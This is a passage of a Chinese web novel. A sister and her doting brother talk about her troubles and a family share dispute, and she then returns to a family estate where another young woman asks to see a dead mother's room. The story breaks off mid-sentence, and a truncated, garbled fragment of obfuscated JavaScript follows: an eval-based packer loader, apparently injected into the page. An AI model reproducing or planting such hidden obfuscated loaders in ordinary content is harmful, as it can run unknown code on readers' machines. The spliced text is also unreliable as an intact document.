祝她一条道走到黑,“或者孕妇效应。”
“不知道。”前倾着身子看她,秋月白柔和地做出倾听的样子。
“就是关注到偶然因素后会觉得那个因素很普遍,例子就是当人怀孕后会更容易注意到人群中的孕妇。”
“感觉一直在遇到跟自己很像的人,像鬼打墙一样一直在一个圈里,做什么都不能改变。”
“那些人跟小宝一样发论文批评科学院院长吗?”更加往前倾,秋月白眼含鼓励道,“那些人像小宝一样就要出版自己的书了吗?”
“哥——”月买茶往后一仰,倚在靠背上,把手臂横在眼上,蹬了蹬腿,“你能不能别这样溺爱我。”
“我在难过诶。”
“反正我是不敢批评科学院院长的,也发表不了引起轰动的报告。”秋月白笑道,“遇到不好的事难过很正常,哥也会难过。”
“不然学人类学干嘛。”
“你还是法学生诶。”猛坐起来,捧着脸,她苦恼地说,“中济那边你觉得我要拿多少钱走?”
“法理上我不占理,道德上我也不占理。”
“干嘛把自己说得跟陌生人一样。”
“你弄不来,就让舅舅去忙好了,不然拜托苏爷爷。”
“或者不分,你不是有股权吗?拿分红也不错。”
“瞎操心的小傻瓜。”
感叹着,秋月白抬手揉了揉她的头。戒指坚硬的环在头上摩挲了两下,有种伤心之意,掀起躲避的眼皮,她注意到秋月白今夜穿得很经心。
高领毛衣配阔腿裤,搭着不少很有设计感的小众首饰,不是秋月白的穿衣风格。
似是感受到她探究的眼神,秋月白笑道:“去朋友开的店捧场,这样穿很奇怪吗?”
那笑很真心,看起来是很好的朋友,摇摇头,她也笑,“很帅啊,回去我就把你那些土衣服扔了。”
抬手刮了下她的鼻子,秋月白说:“在家待着无聊的话,周末可以去我那,正好这周末我们有聚会。”
秋月白在外面有自己的住处,他周末一般在那。
“哥哥下厨,你和你顾乔哥哥他们玩。”
从宣正仪脑里退出的洪水在那刻改道进了她脑里,欢呼雀跃地,她说好诶,可以去参观哥哥的秘密基地了。
“对了,我舍友明天复试。”
“早就安排好了。”秋月白敲了下她脑袋瓜,“不想去也可以,一码事归一码事,哥哥不是外人。”
“刚好想起来了问一下嘛。”
回到竹园,车门才打开退役缉毒犬Lucky和它在北城捡的乌云踏雪猫Sle就叫嚷着跑上前来迎接,急着与宣正礼联系,她扯了有要事要跟编辑商讨的借口,让秋月白孤身溜猫狗去了。
注定不得安宁的夜里风似乎都大。
跟在身边的用人说做了金雀花厚蛋烧和蚕豆糯米糕给她当夜宵,“当地人管那个蚕豆糯米糕叫青蛙趴石板,想着你不能吃甜的,芽姐就往里加了火腿,做成咸口的。”
开春以后,各地的春菜都被运到了竹园的餐桌上,来自春城的最多,大抵是因为她在春城待过。
连她在当地当时不曾吃过的都被弄来做了零食。
权力真美好,是吧。
落地窗下的猩红沙发上,温锦衣端庄坐在那,端庄地与竹园的管家修奶奶谈论竹园的家务事宜。
仆从们来来回回,以一种她从未享受过的殷勤伺候温锦衣。
“妈妈的房间照顾得怎么样?舅舅不常回来,可别懈怠了。”
修奶奶含着笑,说怠慢了他都不会怠慢江丫头,“她住进来以后,那几个小子都被比成别人生的啦。”
“茶茶回来啦。”修奶奶朝她看来,慈祥地笑道,“悠芽给你做了夜宵,快去吃吧。”
“哪有一个人吃独食的道理,温小姐一起吧。”
“不了,谢谢。”
看温锦衣一副掌家大小姐样,再看看自己一身奔波样,她没再吭声直往厨房走。
厨房里也有部电梯。
身后,温锦衣跟修奶奶说要去看江颂声生前住的房间。
修奶奶拦了起来。
“你妈妈的房间这几天在整修,过几天修好了我叫你来看好不好。”
“里面都是灰尘,你进去要呛到的。”
“要是过敏了怎么办,到时候你爸爸要心疼的。”
“可是我好想妈妈,就上去看看,好不好。”
几声急促
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};i